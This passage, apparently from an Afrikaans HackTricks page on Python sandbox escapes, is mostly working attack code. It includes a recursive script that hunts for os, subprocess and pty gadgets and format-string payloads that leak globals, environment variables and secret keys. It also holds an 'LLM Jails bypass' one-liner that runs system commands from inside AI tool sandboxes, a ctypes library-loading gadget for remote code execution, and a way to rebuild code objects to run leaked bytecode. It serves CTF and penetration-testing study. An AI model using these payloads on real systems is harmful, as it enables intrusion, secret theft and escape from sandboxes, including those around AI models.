_PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close """ ``` ## Rekursiewe soektog na Builtins, Globals... > [!WARNING] > Dit is net **fantasties**. As jy **op soek is na 'n objek soos globals, builtins, open of enigiets** gebruik net hierdie script om **rekursief plekke te vind waar jy daardie objek kan vind.** ```python import os, sys # Import these to find more gadgets SEARCH_FOR = { # Misc "__globals__": set(), "builtins": set(), "__builtins__": set(), "open": set(), # RCE libs "os": set(), "subprocess": set(), "commands": set(), "pty": set(), "importlib": set(), "imp": set(), "sys": set(), "pip": set(), "pdb": set(), # RCE methods "system": set(), "popen": set(), "getstatusoutput": set(), "getoutput": set(), "call": set(), "Popen": set(), "popen": set(), "spawn": set(), "import_module": set(), "__import__": set(), "load_source": set(), "execfile": set(), "execute": set() } #More than 4 is very time consuming MAX_CONT = 4 #The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found #ALREADY_CHECKED = set() def check_recursive(element, cont, name, orig_n, orig_i, execute): # If bigger than maximum, stop if cont > MAX_CONT: return # If already checked, stop #if name and name in ALREADY_CHECKED: # return # Add to already checked #if name: # ALREADY_CHECKED.add(name) # If found add to the dict for k in SEARCH_FOR: if k in dir(element) or (type(element) is dict and k in element): SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}") # Continue with the recursivity for new_element in dir(element): try: check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute) # WARNING: Calling random functions sometimes kills the script # Comment this part if you notice that behaviour!! if execute: try: if callable(getattr(element, new_element)): check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute) except: pass except: pass # If in a dict, scan also each key, very important if type(element) is dict: for new_element in element: check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i) def main(): print("Checking from empty string...") total = [""] for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Empty str {i}", True) print() print("Checking loaded subclasses...") total = "".__class__.__base__.__subclasses__() for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Subclass {i}", True) print() print("Checking from global functions...") total = [print, check_recursive] for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Global func {i}", False) print() print(SEARCH_FOR) if __name__ == "__main__": main() ``` Jy kan die uitset van hierdie script op hierdie bladsy bekyk: {{#ref}} https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md {{#endref}} ## Python Format String Indien jy **send** 'n **string** aan python wat gaan **formatted** word, kan jy `{}` gebruik om **python internal information.** te bekom. Jy kan byvoorbeeld die vorige voorbeelde gebruik om toegang te kry tot globals of builtins. ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { "KEY": "ASXFYFGK78989" } class PeopleInfo: def __init__(self, fname, lname): self.fname = fname self.lname = lname def get_name_for_avatar(avatar_str, people_obj): return avatar_str.format(people_obj = people_obj) people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` Let daarop dat jy **attribuutte kan benader** op 'n normale wyse met 'n **punt** soos `people_obj.__init__` en **dict-element** met **vierkantige hakies** sonder aanhalingstekens `__globals__[CONFIG]` Merk ook op dat jy `.__dict__` kan gebruik om elemente van 'n objek op te som `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` Nog 'n paar interessante eienskappe van formaatstringe is die moontlikheid om die **funksies** **`str`**, **`repr`** en **`ascii`** op die aangeduide objek uit te **voer** deur onderskeidelik **`!s`**, **`!r`**, **`!a`** by te voeg: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` Boonop is dit moontlik om **code new formatters** in klasse: ```python class HAL9000(object): def __format__(self, format): if (format == 'open-the-pod-bay-doors'): return "I'm afraid I can't do that." return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` **Meer voorbeelde** van **format** **string** kan gevind word by [**https://pyformat.info/**](https://pyformat.info) > [!CAUTION] > Kyk ook na die volgende bladsy vir gadgets wat **lees sensitiewe inligting uit Python se interne objekte**: {{#ref}} ../python-internal-read-gadgets.md {{#endref}} ### Payloads vir Onthulling van Gevoelige Inligting ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} {whoami.__globals__[os].environ} {whoami.__globals__[sys].path} {whoami.__globals__[sys].modules} # Access an element through several links {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__} # Example from https://corgi.rip/posts/buckeye-writeups/ secret_variable = "clueless" x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol') str(x) # Out: clueless ``` ### LLM Jails bypass Van [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` ### From format to RCE loading libraries Volgens die [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) is dit moontlik om arbitrêre libraries vanaf skyf te laai deur die format string kwesbaarheid in python te misbruik. Ter herinnering: elke keer as 'n aksie in python uitgevoer word, word 'n funksie aangeroep. Byvoorbeeld `2*3` sal **`(2).mul(3)`** uitvoer of **`{'a':'b'}['a']`** sal **`{'a':'b'}.__getitem__('a')`** wees. Daar is meer van hierdie in die afdeling [**Python execution without calls**](#python-execution-without-calls). 'n python format string vuln laat nie toe om funksies uit te voer (dit laat nie die gebruik van hakies toe nie), dus is dit nie moontlik om RCE te kry soos `'{0.system("/bin/sh")}'.format(os)`.\ Dit is egter moontlik om `[]` te gebruik. Dus, as 'n algemene python library 'n **`__getitem__`** of **`__getattr__`** metode het wat arbitrêre kode uitvoer, is dit moontlik om dit te misbruik om RCE te kry. Op soek na 'n gadget soos dit in python, stel die writeup hierdie [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) voor. Waar hy hierdie [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) gevind het: ```python class LibraryLoader(object): def __init__(self, dlltype): self._dlltype = dlltype def __getattr__(self, name): if name[0] == '_': raise AttributeError(name) try: dll = self._dlltype(name) except OSError: raise AttributeError(name) setattr(self, name, dll) return dll def __getitem__(self, name): return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` Hierdie gadget laat toe om **'n biblioteek vanaf die skyf te laai**. Daarom is dit nodig om op een of ander wyse die **biblioteek wat gelaai moet word te skryf of op te laai**, korrek gecompileer vir die geteikende bediener. ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` Die uitdaging misbruik eintlik nog 'n kwesbaarheid in die bediener wat toelaat om arbitrêre lêers op die bediener se skyf te skep. ## Ontleding van Python-objekte > [!TIP] > As jy in diepte oor **python bytecode** wil **leer**, lees hierdie **fantastiese** artikel oor die onderwerp: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) In sommige CTFs kan jy die naam van 'n **aangepaste funksie waar die flag** lê kry en jy moet die **binnewerkte** van die **funksie** sien om dit te onttrek. Dit is die funksie om te inspekteer: ```python def get_flag(some_input): var1=1 var2="secretcode" var3=["some","array"] if some_input == var2: return "THIS-IS-THE-FALG!" else: return "Nope" ``` #### dir ```python dir() #General dir() to find what we have loaded ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] dir(get_flag) #Get info tof the function ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] ``` #### globals `__globals__` and `func_globals`(Same) Verkry die globale omgewing. In die voorbeeld kan jy sommige geïmporteerde modules, 'n paar globale veranderlikes en hul inhoud sien wat gedeclareer is: ```python get_flag.func_globals get_flag.__globals__ {'b': 3, 'names': ('open', 'read'), '__builtins__': , 'codeobj': at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': , 'filename': './poc.py', '__package__': None, 'read': , 'code': , 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': , '__name__': '__main__', 'foo': , '__doc__': None, 'dis': } #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` [**See here more places to obtain globals**](#globals-and-locals) ### **Toegang tot die funksiekode** **`__code__`** and `func_code`: Jy kan hierdie **attribuut** van die funksie **toegang kry** om die **code object** van die funksie te verkry. ```python # In our current example get_flag.__code__ ", line 1 # Compiling some python code compile("print(5)", "", "single") at 0x7f9ca01330c0, file "", line 1> #Get the attributes of the code object dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` ### Verkry Kode-inligting ```python # Another example s = ''' a = 5 b = 'text' def f(x): return x f(5) ''' c=compile(s, "", "exec") # __doc__: Get the description of the function, if any print.__doc__ # co_consts: Constants get_flag.__code__.co_consts (None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope') c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None. (5, 'text', , 'f', None # co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects. get_flag.__code__.co_names () c.co_names ('a', 'b', 'f') #co_varnames: Local names used by the bytecode (arguments first, then the local variables) get_flag.__code__.co_varnames ('some_input', 'var1', 'var2', 'var3') #co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions. get_flag.__code__.co_cellvars () #co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function. get_flag.__code__.co_freevars () #Get bytecode get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` ### **Ontleed 'n funksie** ```python import dis dis.dis(get_flag) 2 0 LOAD_CONST 1 (1) 3 STORE_FAST 1 (var1) 3 6 LOAD_CONST 2 ('secretcode') 9 STORE_FAST 2 (var2) 4 12 LOAD_CONST 3 ('some') 15 LOAD_CONST 4 ('array') 18 BUILD_LIST 2 21 STORE_FAST 3 (var3) 5 24 LOAD_FAST 0 (some_input) 27 LOAD_FAST 2 (var2) 30 COMPARE_OP 2 (==) 33 POP_JUMP_IF_FALSE 40 6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!') 39 RETURN_VALUE 8 >> 40 LOAD_CONST 6 ('Nope') 43 RETURN_VALUE 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` Let op dat **as jy nie `dis` in die python sandbox kan importeer nie** kan jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) kry en plaaslik **disassemble**. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan hulle raai uit (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word aandui. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) 3 STORE_FAST 1 (1) 6 LOAD_CONST 2 (2) 9 STORE_FAST 2 (2) 12 LOAD_CONST 3 (3) 15 LOAD_CONST 4 (4) 18 BUILD_LIST 2 21 STORE_FAST 3 (3) 24 LOAD_FAST 0 (0) 27 LOAD_FAST 2 (2) 30 COMPARE_OP 2 (==) 33 POP_JUMP_IF_FALSE 40 36 LOAD_CONST 5 (5) 39 RETURN_VALUE >> 40 LOAD_CONST 6 (6) 43 RETURN_VALUE 44 LOAD_CONST 0 (0) 47 RETURN_VALUE ``` ## Kompilering van Python Nou, laat ons voorstel dat jy op een of ander manier die **inligting oor 'n funksie kan dump wat jy nie kan execute nie** maar jy **moet** dit **execute**.\ Soos in die volgende voorbeeld kan jy **access the code object** van daardie funksie, maar net deur die disassemble te lees **weet jy nie hoe om die flag te calculate nie** (_stel jou 'n meer komplekse `calc_flag` funksie voor_) ```python def get_flag(some_input): var1=1 var2="secretcode" var3=["some","array"] def calc_flag(flag_rot2): return ''.join(chr(ord(c)-2) for c in flag_rot2) if some_input == var2: return calc_flag("VjkuKuVjgHnci") else: return "Nope" ``` ### Skep van die code object Eerstens moet ons weet **hoe om 'n code object te skep en uit te voer** sodat ons een kan skep om ons leaked function uit te voer: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this code_obj = code_type(co_argcount, co_kwonlyargcount, co_nlocals, co_stacksize, co_flags, co_code, co_consts, co_names, co_varnames, co_filename, co_name, co_firstlineno, co_lnotab, freevars=None, cellvars=None) # Execution eval(code_obj) #Execute as a whole script # If you have the code of a function, execute it mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` > [!TIP] > Afhangend van die python-weergawe kan die **parameters** van `code_type` 'n **ander volgorde** hê. Die beste manier om die volgorde van die params in die python-weergawe wat jy gebruik te ken, is om die volgende uit te voer: > > ``` > import types > types.CodeType.__doc__ > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.' > ``` ### Opnuut skep 'n leaked funksie > [!WARNING] > In die volgende voorbeeld gaan ons al die data neem wat nodig is om die funksie direk uit die funksie se code object op te nuut te skep. In 'n **werklike voorbeeld**, is al die **waardes** wat nodig is om die funksie **`code_type`** uit te voer presies wat **jy sal moet leak**. ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars) mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") #ThisIsTheFlag ``` ### Bypass Defenses In vorige voorbeelde aan die begin van hierdie pos kan jy sien **hoe om enige python code uit te voer met behulp van die `compile` funksie**. Dit is interessant omdat jy **hele scripts** met lusse en alles in 'n **one liner** kan uitvoer (en ons kon dieselfde doen met **`exec`**).\ En soms kan dit nuttig wees om 'n **compiled object** op 'n plaaslike masjien te skep en dit in die **CTF machine** uit te voer (byvoorbeeld omdat ons nie die `compiled` funksie in die CTF het nie). Byvoorbeeld, laat ons manueel 'n funksie compile en uitvoer wat _./poc.py_ lees: ```python #Locally def read(): return open("./poc.py",'r').read() read.__code__.co_code 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' ``` ```python #On Remote function_type = type(lambda: None) code_type = type((lambda: None).__code__) #Get consts = (None, "./poc.py", 'r') bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' names = ('open','read') # And execute it using eval/exec eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ())) #You could also execute it directly mydict = {} mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` As jy nie toegang tot `eval` of `exec` het nie, kan jy 'n **regte funksie** skep, maar om dit direk aan te roep gaan gewoonlik misluk met: _konstruktor nie toeganklik in beperkte modus nie_. Dus het jy 'n **funksie buite die beperkte omgewing nodig om hierdie funksie aan te roep.** ```python #Compile a regular print ftype = type(lambda: None) ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` ## Decompiling Compiled Python Met gereedskap soos [**https://www.decompiler.com/**](https://www.decompiler.com) kan mens gegewe gecompileerde python-kode **decompile**. **Kyk na hierdie handleiding**: {{#ref}} ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} ## Verskeie Python ### Assert Wanneer Python met optimalisering uitgevoer word met die parameter `-O`, sal dit assert statements en enige kode wat afhanklik is van die waarde van **debug** verwyder.\ Daarom sal kontroles soos ```python def check_permission(super_user): try: assert(super_user) print("\nYou are a super user\n") except AssertionError: print(f"\nNot a Super User!!!\n") ``` sal omseil word ## Verwysings - [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) - [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/) - [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/) - [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape) - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html) - [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) - [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733) - [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733) - [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../../banners/hacktricks-training.md}}